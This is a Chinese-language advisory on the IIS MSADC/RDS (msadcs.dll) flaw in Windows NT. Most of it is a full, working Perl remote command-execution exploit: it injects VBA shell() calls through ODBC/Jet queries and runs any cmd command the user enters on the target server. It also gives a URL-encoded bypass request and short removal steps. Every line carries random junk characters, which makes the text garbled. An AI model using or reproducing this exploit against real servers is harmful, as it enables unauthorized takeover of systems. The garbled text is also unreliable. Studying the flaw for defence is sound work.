IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]q DhGt f?T6Ne' 涉及程序：
[$_d|Z Microsoft NT server
D;. O # bS V`$J an 描述：
z5PFppSQ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
GUJ[2/V~A K^bzZa+a 详细：
QLYb>8?"C 如果你没有时间读详细内容的话，就删除:
bE
_=L=NG c:\Program Files\Common Files\System\Msadc\msadcs.dll
iva&W 有关的安全问题就没有了。
W8j)2nKD 5;5;bB o~ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
mAh0xgm d?(#NP# ; 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
5inmFT?9Z 关于利用ODBC远程漏洞的描述，请参看:
Q.H y"~ m RB-} http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @BWroNg{ n<6p 0w 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
1J<Wth{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp A6Ttx{] w *[i!i 这里不再论述。
9E^IEwq ' `f`\j
-Lu 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
`An`"$z !4cR&@[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
)NJD+yQ% 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
z5-vx ` 59gt#1k jPg 8>Z&D #将下面这段保存为txt文件，然后: "perl -x 文件名"
w(pLU$6X |LA./%U #!perl
$lmbeW[0 #
) Q\nR`k # MSADC/RDS 'usage' (aka exploit) script
f^il|Obzl #
hko0
?z # by rain.forest.puppy
GGk.-Ew@ #
U.<';fKnT # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
qy=4zOOD# # beta test and find errors!
hD!W&Er WUx }+3eWv use Socket; use Getopt::Std;
rH7|r\] r getopts("e:vd:h:XR", \%args);
vt}+d
StUm 8qL *Nf print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Xk%92Pt o g#qt<d}j if (!defined $args{h} && !defined $args{R}) {
#y13(u,dN print qq~
iLw O4i Usage: msadc.pl -h <host> { -d <delay> -X -v }
$6w[h7 -h <host> = host you want to scan (ip or domain)
!q PVC\l -d <seconds> = delay between calls, default 1 second
tjc3;9 -X = dump Index Server path table, if available
P]:r'^Yn -v = verbose
A\Rkt;: -e = external dictionary file for step 5
CrC1&F\dq 8#NtZ Or a -R will resume a command session
YKq, `7" % S'qEBz
~; exit;}
)p'ZSXb z>< =F,W $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
=zBcfFii`w if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
"1>I/CM if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
!a?$ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
]kA0C~4 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
[ mph iH/ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
wjW>#DE so}(*E&(a if (!defined $args{R}){ $ret = &has_msadc;
r #
MJ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
tr 0P ;}= _cdrz)T print "Please type the NT commandline you want to run (cmd /c assumed):\n"
+@[T0cXp . "cmd /c ";
s7=CH $in=<STDIN>; chomp $in;
V8ka*VJ(B $command="cmd /c " . $in ;
B9pro%R1Bo j+A Ahn if (defined $args{R}) {&load; exit;}
d;O16xcM/ GlYNC&,VL print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
q1 5t7-Z6 &try_btcustmr;
PPO*&=!] aOHf#!/"sb print "\nStep 2: Trying to make our own DSN...";
d:*,HzG &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
aP^,@RrL i:W.,w% 8 print "\nStep 3: Trying known DSNs...";
>2l1t}"\ &known_dsn;
5Z/x Y & c'n EbelE print "\nStep 4: Trying known .mdbs...";
/tI8JXcUK &known_mdb;
n {JBC%^g M72. if (defined $args{e}){
asqbLtQ print "\nStep 5: Trying dictionary of DSN names...";
_4F(WC co &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
j\&
` *4#)or print "Sorry Charley...maybe next time?\n";
jY 'svD~ exit;
;Ak<O [ V(Ll]g/T_; ##############################################################################
PjZsMHW% ;Z|X` <6g sub sendraw { # ripped and modded from whisker
7Y T% .ID sleep($delay); # it's a DoS on the server! At least on mine...
yq+'O&+
my ($pstr)=@_;
bb}zn'x C socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
U_ n1QU die("Socket problems\n");
gSQq if(connect(S,pack "SnA4x8",2,80,$target)){
6Mu_9UAl` select(S); $|=1;
Zg1=g_xY print $pstr; my @in=<S>;
Rd~-.&
select(STDOUT); close(S);
9/3gF)I} return @in;
%suSZw` } else { die("Can't connect...\n"); }}
6L [ Yn?; UFBggT\ ##############################################################################
SV#$Cf g o1<Y#db[ sub make_header { # make the HTTP request
4 ti\;55{W my $msadc=<<EOT
X!Ag7^E POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
5/Viz`hsz User-Agent: ACTIVEDATA
g
bDre~| Host: $ip
3lzjY.]Pgv Content-Length: $clen
CY~]lQ Connection: Keep-Alive
+bpUb0.W D/QSC]" ADCClientVersion:01.06
&R+/Ie#0dz Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
@9_H4V . 4E5{F{~ --!ADM!ROX!YOUR!WORLD!
=K'X:UM Content-Type: application/x-varg
AjBwj5K Content-Length: $reqlen
.l?sYe64S C+ar]Vi EOT
C(-w A ; $msadc=~s/\n/\r\n/g;
r
>bMx~a] return $msadc;}
)H@"S]?7i" Vb^ P{F ##############################################################################
#M kXio; h -X+G_rY sub make_req { # make the RDS request
qv\n]M_& my ($switch, $p1, $p2)=@_;
Er/ h:= my $req=""; my $t1, $t2, $query, $dsn;
278: 5y C kN (*.Q|VZ if ($switch==1){ # this is the btcustmr.mdb query
4/UY*Us& $query="Select * from Customers where City=" . make_shell();
Wno{& I63 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
u^.7zL+ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
w#|uR ^~ i) v
] elsif ($switch==2){ # this is general make table query
<q@/ Yy3 2 $query="create table AZZ (B int, C varchar(10))";
@@~ OA>^ $dsn="$p1";}
fA"N5qQI( "Bl ]_YPv elsif ($switch==3){ # this is general exploit table query
;e,_F/@` $query="select * from AZZ where C=" . make_shell();
q.sErr[zc $dsn="$p1";}
to9~l"n.s !p$HS0c elsif ($switch==4){ # attempt to hork file info from index server
y4sKe:@2 $query="select path from scope()";
}-Y M>q $dsn="Provider=MSIDXS;";}
4 WCWu} 1 ; _t u elsif ($switch==5){ # bad query
7<FI[ $query="select";
[ 7x,& $dsn="$p1";}
*_feD+rq o/0cd $t1= make_unicode($query);
iF]G$@rbU $t2= make_unicode($dsn);
We%HdTKT $req = "\x02\x00\x03\x00";
;75m 9yGo $req.= "\x08\x00" . pack ("S1", length($t1));
%siBCjvo= $req.= "\x00\x00" . $t1 ;
&b :u~puM $req.= "\x08\x00" . pack ("S1", length($t2));
JX4uH>6 $req.= "\x00\x00" . $t2 ;
A|jmp~@K)+ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
XC 44]o4jx return $req;}
'-9B`O,& Zo$ ,{rl ##############################################################################
t
Qo) * z 2J?ON|2M sub make_shell { # this makes the shell() statement
0"l*8%g return "'|shell(\"$command\")|'";}
u|]{|Ya'% 6/{V#.( ##############################################################################
Fu q MT` TA;r sub make_unicode { # quick little function to convert to unicode
."`mh&+` my ($in)=@_; my $out;
/QuuBtp for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
&CP0T:h return $out;}
NTq#'O) f 2@7f^be ##############################################################################
KX8$j$yW \Af25Mcf: sub rdo_success { # checks for RDO return success (this is kludge)
Qm9r>m6p@N my (@in) = @_; my $base=content_start(@in);
W5 l)mAv if($in[$base]=~/multipart\/mixed/){
iczJXA+ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
/G[2
return 0;}
\
a}6N Io 5e)2Jt: ##############################################################################
Xn:5pd;?B6 }ACWSk WK sub make_dsn { # this makes a DSN for us
(!'=?B " my @drives=("c","d","e","f");
m@(8-_ print "\nMaking DSN: ";
|#OMrP+o i foreach $drive (@drives) {
ad
<z+a print "$drive: ";
W^U6O&-K my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
@34Z/%A "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
<HY K9{Q . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
LYTx8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
h>0R!Rl8 return 0 if $2 eq "404"; # not found/doesn't exist
r0MUv}p#|L if($2 eq "200") {
=yT3#A~<G foreach $line (@results) {
|:qaF return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Tt ^PiaS! } return 0;}
o 8fB XFj\H(D ##############################################################################
3)D' Yx W^(:\IvV sub verify_exists {
FE'|wf my ($page)=@_;
w_gFN% 8 my @results=sendraw("GET $page HTTP/1.0\n\n");
+-%&,> R return $results[0];}
yT3q ~#: 4?eO1=a ##############################################################################
a"ct"g= /-C`*P=:u sub try_btcustmr {
rN$U%\.I my @drives=("c","d","e","f");
W#|30RU.G my @dirs=("winnt","winnt35","winnt351","win","windows");
$!?tJ@{ 2il)@&^ foreach $dir (@dirs) {
z2.9l?"rfQ print "$dir -> "; # fun status so you can see progress
.8.4!6~@ foreach $drive (@drives) {
Ai*R%# print "$drive: "; # ditto
^4G%*- $reqlen=length( make_req(1,$drive,$dir) ) - 28;
m=m T`EP $reqlenlen=length( "$reqlen" );
GbFtX\s+5j $clen= 206 + $reqlenlen + $reqlen;
jRn5)u ~ShoU
m[ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
)Z/L if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
hq[:U?!Tt else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
s t7\k]J\ W't?aj I| ##############################################################################
0fOx&"UAB Q4H(JD1f) sub odbc_error {
iY~.U`b` my (@in)=@_; my $base;
4z;@1nN_8a my $base = content_start(@in);
\zx &5a
# if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{zck Y $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4J~ ZZ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
XJ$mRh0`K $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m2{DLw". return $in[$base+4].$in[$base+5].$in[$base+6];}
9~r rN60Q print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
;nSOe AF)Q print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
.
X: $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
*A^`[_y LMGo8%2I ##############################################################################
R>C^duos. V(6*wQ`& sub verbose {
sxK|0i}6 my ($in)=@_;
"V IoV u return if !$verbose;
(GCe D- print STDOUT "\n$in\n";}
qj.>4 d g +RgDt9 ##############################################################################
^CBc~um2 /W|=Or2oR sub save {
<<SUIY@X my ($p1, $p2, $p3, $p4)=@_;
vC
[uEx: open(OUT, ">rds.save") || print "Problem saving parameters...\n";
w 7#9t print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
,P>xpfdK close OUT;}
On`T
pz/ :-[y`/R ##############################################################################
If*+yr| }G/#Nb) sub load {
)%zOq:{\5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
7Rq|N$y.3 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
5 LX'fL7zU @p=<IN>; close(IN);
.#OD=wkN0 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
2 -C*RHRx $target= inet_aton($ip) || die("inet_aton problems");
4Ou5Vp&y print "Resuming to $ip ...";
RE<s$B$[ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
:>q*# vlb if($p[1]==1) {
/0_^Z2 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$b CN;yE $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
. %"s|
D my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
ahUc ;S:v# if (rdo_success(@results)){print "Success!\n";}
}x~1w:z Hd else { print "failed\n"; verbose(odbc_error(@results));}}
y KhN 1kY elsif ($p[1]==3){
2=%R>&]* if(run_query("$p[3]")){
0K<|>I print "Success!\n";} else { print "failed\n"; }}
6OPYq*| elsif ($p[1]==4){
, _iR if(run_query($drvst . "$p[3]")){
vVy X[ZZ print "Success!\n"; } else { print "failed\n"; }}
p"dK,A5#) exit;}
0XzrzT"& O;6am++M@ ##############################################################################
ll^#I/ W1!Nq` sub create_table {
f\vy5'' my ($in)=@_;
vU9j|z $reqlen=length( make_req(2,$in,"") ) - 28;
MXP3Z N' $reqlenlen=length( "$reqlen" );
3 q ^^Os $clen= 206 + $reqlenlen + $reqlen;
X+%5q =N my @results=sendraw(make_header() . make_req(2,$in,""));
! uc"|S? return 1 if rdo_success(@results);
K\VL [HP- my $temp= odbc_error(@results); verbose($temp);
wfMtWXd;KB return 1 if $temp=~/Table 'AZZ' already exists/;
sQ
aP:@ return 0;}
X4 $ 86 P$H 9 ##############################################################################
isR)^fI| 45(n!" u65 sub known_dsn {
O/ ih9 , # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
U{Xx)l/o my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
8h '~* "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
z#u<]] 5 "banner", "banners", "ads", "ADCDemo", "ADCTest");
N ]|P||fC %NH{%K, foreach $dSn (@dsns) {
l\DcXgD
x print ".";
xV\mS+#
next if (!is_access("DSN=$dSn"));
50R&;+b if(create_table("DSN=$dSn")){
uG^ RU\( print "$dSn successful\n";
*>,# 'C2 if(run_query("DSN=$dSn")){
mM;5UPbZ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
T$pBgS> print "Something's borked. Use verbose next time\n";}}} print "\n";}
{x\lK; r"hogmFD; ##############################################################################
}{S pV 2PDU(R sub is_access {
~a06x^=j my ($in)=@_;
y3Q2d7G $reqlen=length( make_req(5,$in,"") ) - 28;
n1Fp$ 9% $reqlenlen=length( "$reqlen" );
mh i^zHpa $clen= 206 + $reqlenlen + $reqlen;
qZB}}pM# my @results=sendraw(make_header() . make_req(5,$in,""));
grZ?F~P8 my $temp= odbc_error(@results);
I=c}6 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
!)//b] return 0;}
TD^w|U. !WgVk7aP` ##############################################################################
=%ry-n G P+gY LX8 sub run_query {
;NPbEPL[5 my ($in)=@_;
]1dnp ]r $reqlen=length( make_req(3,$in,"") ) - 28;
@ #1T-* $reqlenlen=length( "$reqlen" );
vD9 1t/_+ $clen= 206 + $reqlenlen + $reqlen;
Z~Vups#+f my @results=sendraw(make_header() . make_req(3,$in,""));
nJr:U2d return 1 if rdo_success(@results);
&<$YR~g5j$ my $temp= odbc_error(@results); verbose($temp);
;-"'sEu} return 0;}
D:.1Be`Tv I%'6IpR"d ##############################################################################
{Q/_I@m]. EF5 :$# sub known_mdb {
4<<T#oW.:G my @drives=("c","d","e","f","g");
;vp[J&= my @dirs=("winnt","winnt35","winnt351","win","windows");
q'CtfmI`r= my $dir, $drive, $mdb;
|S.; ']t+ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
jA,| .P> ?@iGECll # this is sparse, because I don't know of many
nS9 kwa O my @sysmdbs=( "\\catroot\\icatalog.mdb",
BWev(SF{Ny "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
W_FN*Er "\\system32\\certmdb.mdb",
0UN65JBuD "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
]s>y se K0 -AP
$ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
m-AW}1:\f "\\cfusion\\cfapps\\forums\\forums_.mdb",
a[hQ<@1O "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
7 P/1'f3 "\\cfusion\\cfapps\\security\\realm_.mdb",
i"OY =iw-N "\\cfusion\\cfapps\\security\\data\\realm.mdb",
LG:Mksd8=4 "\\cfusion\\database\\cfexamples.mdb",
KlSg0s "\\cfusion\\database\\cfsnippets.mdb",
)2g-{cYv "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Sc,a jT "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
3c[< #] 8S "\\cfusion\\brighttiger\\database\\cleam.mdb",
-esq] c%3 "\\cfusion\\database\\smpolicy.mdb",
Y8@TY? "\\cfusion\\database\cypress.mdb",
q 7aH=dhw "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
m5kt
O^EU "\\website\\cgi-win\\dbsample.mdb",
kx6-8j3gD7 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
/;V:<mekf "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
b6ui&Y8z ); #these are just
^hyp}WN foreach $drive (@drives) {
:#nv:~2] foreach $dir (@dirs){
PsOu:`=r foreach $mdb (@sysmdbs) {
h%+6 y print ".";
^/:G` ' if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
4fgYO] print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
%=< Kb\ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
|0s)aV|K print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
b X'.hHR } else { print "Something's borked. Use verbose next time\n"; }}}}}
2y#[uSq B M 0Vs9K= foreach $drive (@drives) {
Ns5'K^ foreach $mdb (@mdbs) {
S E0&CV4 print ".";
]v|n'D-? if(create_table($drv . $drive . $dir . $mdb)){
V4tObZP3Ff print "\n" . $drive . $dir . $mdb . " successful\n";
AB[# if(run_query($drv . $drive . $dir . $mdb)){
^7-l<R[T print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
@*"H{xo.U } else { print "Something's borked. Use verbose next time\n"; }}}}
"Wn8}T* }
)I(2t 6i L 3|~
i&k ##############################################################################
# :M <<gk D?`| `Mu sub hork_idx {
!6pE0(V^+4 print "\nAttempting to dump Index Server tables...\n";
L`n Ma print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
W_Eur,/` $reqlen=length( make_req(4,"","") ) - 28;
k:* (..!0z $reqlenlen=length( "$reqlen" );
iVAAGZ>am $clen= 206 + $reqlenlen + $reqlen;
G Q])y my @results=sendraw2(make_header() . make_req(4,"",""));
1<$z-y' if (rdo_success(@results)){
;)ji3 M my $max=@results; my $c; my %d;
DWmViuZmL for($c=19; $c<$max; $c++){
dvPlKLp $results[$c]=~s/\x00//g;
||o :A $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
D{G~7 P\. $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
zA%$l&QN] $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
"fZWAGDBO\ $d{"$1$2"}="";}
&KP JB"0 L foreach $c (keys %d){ print "$c\n"; }
o8!uvl}:9 } else {print "Index server doesn't seem to be installed.\n"; }}
WwAvR5jq ^rssZQK Y[ ##############################################################################
3R)_'!R[B
\>l DM sub dsn_dict {
]mdO3P open(IN, "<$args{e}") || die("Can't open external dictionary\n");
?CO..l while(<IN>){
D'Y=}I)8Dn $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
z!>ml3 next if (!is_access("DSN=$dSn"));
Rr"D)|Y;C( if(create_table("DSN=$dSn")){
*z6m644H print "$dSn successful\n";
`ZZq Sc4 if(run_query("DSN=$dSn")){
0. lOSAq print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
PsCr[\Ul print "Something's borked. Use verbose next time\n";}}}
AroYDR ,3+ print "\n"; close(IN);}
|Wz`#<t CaqqH`/E4 ##############################################################################
Gf\u%S!% 8}>s{u;W sub sendraw2 { # ripped and modded from whisker
9 4b*
!Z sleep($delay); # it's a DoS on the server! At least on mine...
{~{</ g/ my ($pstr)=@_;
C)R#Om socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
P?$Iht.^ die("Socket problems\n");
6:3F,!J! if(connect(S,pack "SnA4x8",2,80,$target)){
;'P<#hM[$ print "Connected. Getting data";
a`_w9r+v open(OUT,">raw.out"); my @in;
d 8% sGH select(S); $|=1; print $pstr;
'RzzLk|$ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
o7 1f<&1 close(OUT); select(STDOUT); close(S); return @in;
y vo4 .u } else { die("Can't connect...\n"); }}
Xot2L{EIUE +~f5dJyk` ##############################################################################
1YJ@9 *l I_3{i`g sub content_start { # this will take in the server headers
>@uF ye$ my (@in)=@_; my $c;
B0$.oavC for ($c=1;$c<500;$c++) {
k.Q4oyei if($in[$c] =~/^\x0d\x0a/){
6y
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
a
n,$Z,G#K else { return $c+1; }}}
8G?OZ47k# return -1;} # it should never get here actually
xn,I<dL39 jrZH1 dvE ##############################################################################
8c5%~}kG U~s-'- C / sub funky {
+?bjP6w_g my (@in)=@_; my $error=odbc_error(@in);
z,IUCNgM if($error=~/ADO could not find the specified provider/){
WNWtQ2] print "\nServer returned an ADO miscofiguration message\nAborting.\n";
&LD A=B exit;}
Q/ ^ a( if($error=~/A Handler is required/){
BZ}_ print "\nServer has custom handler filters (they most likely are patched)\n";
&.)ST0b4 exit;}
z%~rQa./$ if($error=~/specified Handler has denied Access/){
7xoq:oP-}N print "\nServer has custom handler filters (they most likely are patched)\n";
l$J2|\M6 exit;}}
9f_Q s4 qJY EsI2M ##############################################################################
3&"+)*/ m r(DW,xoK0 sub has_msadc {
7]lUPLsl my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Lu9`(+ my $base=content_start(@results);
@D7/u88| return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
hhcO
]* return 0;}
=}m'qy MHF7hk ps} ########################
r
l>e~i RE.t<VasP C[Nh>V7= 解决方案：
\3 M%vJ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
26[m7\O 2、移除web 目录: /msadc
